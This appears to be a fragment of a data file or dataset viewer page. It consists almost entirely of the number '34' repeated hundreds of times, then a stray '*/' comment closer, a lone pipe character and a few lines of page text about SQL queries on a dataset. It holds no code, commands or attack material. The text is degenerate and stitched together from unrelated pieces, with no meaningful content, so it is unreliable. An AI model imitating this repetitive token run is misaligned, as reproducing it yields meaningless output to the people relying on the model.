34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.